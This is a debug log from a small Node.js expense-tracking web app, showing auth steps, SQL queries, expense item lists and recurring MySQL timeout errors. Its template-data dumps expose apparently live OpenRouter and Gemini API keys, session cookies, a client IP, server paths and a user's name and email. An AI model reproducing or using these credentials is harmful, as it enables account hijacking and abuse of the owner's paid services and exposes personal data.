    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T12:00:50.231Z server-connect:app Executing action step identify
2025-12-24T12:00:50.231Z server-connect:app options: { provider: 'security' }
2025-12-24T12:00:50.232Z server-connect:output identity: 1
2025-12-24T12:00:52.212Z server-connect:app Executing action step identify
2025-12-24T12:00:52.212Z server-connect:app options: { provider: 'security' }
2025-12-24T12:00:52.212Z server-connect:output identity: 1
2025-12-24T12:08:26.232Z server-connect:app Executing action step identify
2025-12-24T12:08:26.232Z server-connect:app options: { provider: 'security' }
2025-12-24T12:08:26.232Z server-connect:output identity: 1
2025-12-24T12:08:28.175Z server-connect:app Executing action step identify
2025-12-24T12:08:28.175Z server-connect:app options: { provider: 'security' }
2025-12-24T12:08:28.175Z server-connect:output identity: 1
2025-12-24T12:18:13.498Z server-connect:router Serving templateView /
2025-12-24T12:18:13.498Z server-connect:app Executing action step identify
2025-12-24T12:18:13.498Z server-connect:app options: { provider: 'security' }
2025-12-24T12:18:13.498Z server-connect:output identity: 1
2025-12-24T12:18:13.498Z server-connect:app Executing action step restrict
2025-12-24T12:18:13.498Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T12:18:13.500Z server-connect:output restrict: undefined
2025-12-24T12:18:13.500Z server-connect:app Executing action step restrict
2025-12-24T12:18:13.500Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T12:18:13.501Z server-connect:output restrict: undefined
2025-12-24T12:18:13.501Z server-connect:router Render template layouts/main
2025-12-24T12:18:13.501Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-24T12:18:14.035Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T12:18:14.039Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T12:18:14.039Z server-connect:app Executing action step identify
2025-12-24T12:18:14.039Z server-connect:app options: { provider: 'security' }
2025-12-24T12:18:14.039Z server-connect:output identity: 1
2025-12-24T12:18:14.039Z server-connect:app Executing action step restrict
2025-12-24T12:18:14.039Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T12:18:14.041Z server-connect:output restrict: undefined
2025-12-24T12:18:14.041Z server-connect:app Executing action step select
2025-12-24T12:18:14.042Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T12:18:14.043Z server-connect:app Executing action step identify
2025-12-24T12:18:14.043Z server-connect:app options: { provider: 'security' }
2025-12-24T12:18:14.043Z server-connect:output identity: 1
2025-12-24T12:18:14.043Z server-connect:app Executing action step restrict
2025-12-24T12:18:14.043Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T12:18:14.045Z server-connect:output restrict: undefined
2025-12-24T12:18:14.045Z server-connect:app Executing action step single
2025-12-24T12:18:14.045Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T12:18:14.046Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T12:18:14.047Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 12:18:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 12:18:18' as DATETIME)"
}
2025-12-24T12:26:36.239Z server-connect:app Executing action step identify
2025-12-24T12:26:36.239Z server-connect:app options: { provider: 'security' }
2025-12-24T12:26:36.239Z server-connect:output identity: 1
2025-12-24T12:26:38.209Z server-connect:app Executing action step identify
2025-12-24T12:26:38.209Z server-connect:app options: { provider: 'security' }
2025-12-24T12:26:38.209Z server-connect:output identity: 1
2025-12-24T12:43:14.227Z server-connect:app Executing action step identify
2025-12-24T12:43:14.228Z server-connect:app options: { provider: 'security' }
2025-12-24T12:43:14.228Z server-connect:output identity: 1
2025-12-24T12:43:16.265Z server-connect:app Executing action step identify
2025-12-24T12:43:16.265Z server-connect:app options: { provider: 'security' }
2025-12-24T12:43:16.265Z server-connect:output identity: 1
2025-12-24T13:05:38.224Z server-connect:app Executing action step identify
2025-12-24T13:05:38.224Z server-connect:app options: { provider: 'security' }
2025-12-24T13:05:38.224Z server-connect:output identity: 1
2025-12-24T13:05:41.393Z server-connect:app Executing action step identify
2025-12-24T13:05:41.393Z server-connect:app options: { provider: 'security' }
2025-12-24T13:05:41.393Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 13:11:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 13:11:01' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 13:26:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 13:26:57' as DATETIME)"
}
2025-12-24T13:35:25.242Z server-connect:app Executing action step identify
2025-12-24T13:35:25.242Z server-connect:app options: { provider: 'security' }
2025-12-24T13:35:25.242Z server-connect:output identity: 1
2025-12-24T13:35:27.300Z server-connect:app Executing action step identify
2025-12-24T13:35:27.301Z server-connect:app options: { provider: 'security' }
2025-12-24T13:35:27.301Z server-connect:output identity: 1
2025-12-24T13:39:25.813Z server-connect:app Executing action step identify
2025-12-24T13:39:25.814Z server-connect:app options: { provider: 'security' }
2025-12-24T13:39:25.814Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 13:52:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 13:52:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 14:55:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 14:55:58' as DATETIME)"
}
2025-12-24T16:45:09.413Z server-connect:router Serving templateView /
2025-12-24T16:45:09.413Z server-connect:app Executing action step identify
2025-12-24T16:45:09.413Z server-connect:app options: { provider: 'security' }
2025-12-24T16:45:09.414Z server-connect:output identity: 1
2025-12-24T16:45:09.414Z server-connect:app Executing action step restrict
2025-12-24T16:45:09.414Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T16:45:09.416Z server-connect:output restrict: undefined
2025-12-24T16:45:09.416Z server-connect:app Executing action step restrict
2025-12-24T16:45:09.416Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T16:45:09.417Z server-connect:output restrict: undefined
2025-12-24T16:45:09.417Z server-connect:router Render template layouts/main
2025-12-24T16:45:09.417Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
